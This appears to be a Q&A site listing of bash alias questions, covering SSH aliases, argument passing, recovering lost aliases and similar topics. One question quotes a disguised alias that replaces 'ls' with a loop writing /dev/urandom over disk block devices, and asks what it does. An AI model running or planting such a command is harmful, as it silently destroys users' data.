All Questions
18 questions
1
vote
3
answers
804
views
How to config alias on RedHat server?
I'm using a server where I'm a common user (non-sudo).
I access the server through ssh.
Here's the output of some commands run on the server:
[username@machinename: ~]$ ps -p $$
PID TTY ...
0
votes
3
answers
294
views
How to pass 2nd argument when 1st argument is defaulted to its value in command line?
cdcl() { vlog -source -lint +define+"${1:-DEBUG}" -sv "${2:-*.sv}"; }
Above is my fucnction, i defined it in .bashrc file. Below is my command line
% cdcl 'RANDOM' 'abc....
0
votes
1
answer
50
views
Primitive Alias doesn't work in Bash [duplicate]
I wrote the following rather primitive alias:
alias unshorten="curl -k -v -I $1 2>&1 | grep -i '< location' | cut -d ' ' -f 3"
It's meant to unshorten the shortened link and then ...
6
votes
1
answer
5k
views
How do I execute a remote alias over an SSH?
How do I execute a remote alias over an SSH?
For instance, there is a rather complex alias for rkhunter, and I would like to execute it in one command over ssh like that:
ssh user@server_ip -p ...
0
votes
1
answer
106
views
Keep file data always available to Bash, without repeated execution (also after reboot)
I have a file named ~/myScripts/assignments.sh which contains various assignments such as variables and aliases. Here's a taste from that file:
drt="/var/www/html"
rss="/etc/init.d/php*-fpm restart &...
0
votes
2
answers
119
views
Any way to recall the file of previous cmd? [duplicate]
Frequently I’ll have to do some digging around to figure out what I’m doing on linux, involving quite a bit of ‘’, ‘ls -la’, ‘cd’, ‘cat’, and ‘vim’
Is there any way to quickly reuse the file/target ...
2
votes
3
answers
398
views
How can I show the results after Bash reads one complete line of input but before executing any of the commands on that line?
From the Bash manual, Section 6.6 Aliases,
…
Bash always reads at least one complete line of input before
executing any of the commands on that line.
Aliases are expanded when a command ...
1
vote
1
answer
411
views
alias for executing the same command with sudo credentials [duplicate]
I am trying to create some alias for executing the same command but with sudo credentials. In the ultimate case I want to be something like:
alias !!='sudo !!'
But when I source /.bashrc file this ...
2
votes
1
answer
55
views
Create shorcuts in a terminal to navigate between folders [duplicate]
I am looking a way to create shortcuts for the cd command. My goal is to go quickly to distant folders. I have a new (big) drive which is not in my /home folder (but in /media/user/xxX/yyy/) and I ...
0
votes
1
answer
967
views
Can I make alias for alias in bash?
In some circumstances, I need to make an official alias for a set of command, which acts just the same as the original software. Like:
alias ipython3="source /Users/zen1/miniconda2/bin/activate py3k; ...
0
votes
2
answers
119
views
some help with this command, not sure what it does?
But my presumption for it to be harmful
alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done
if the code seems to miss/wrongly indented please fix it.
1
vote
1
answer
102
views
Get executable for any command [duplicate]
I want to know which executable gets executed for any command in bash.
Example:
I have firefox installed here /usr/bin/firefox, it is in the $PATH
alias browser=firefox
alias br=browser
Now I want ...
9
votes
2
answers
1k
views
Run another command before running the command the user wants to run
Let's say I want to modify the original behavior of the ls tool this way:
$ ls
Hello World
file1 file2 ...
How can I do this?
When running ls I would like to run another command let's say echo "...
17
votes
2
answers
2k
views
How to retrieve lost aliases?
I made an echo command to my .bash_aliases file and erased all of my aliases, except the test alias. However, I still have a session open that has the aliases loaded (into the tcl?). Can I retrieve ...
2
votes
1
answer
2k
views
Why are aliases missing inside of bash command?
When I run in my terminal:
alias
a list with all my aliases (defined in ~/bashrc and ~/.bash_aliases files) will be displayed on my terminal. That's nice and as expected!
But when I run:
bash -c "...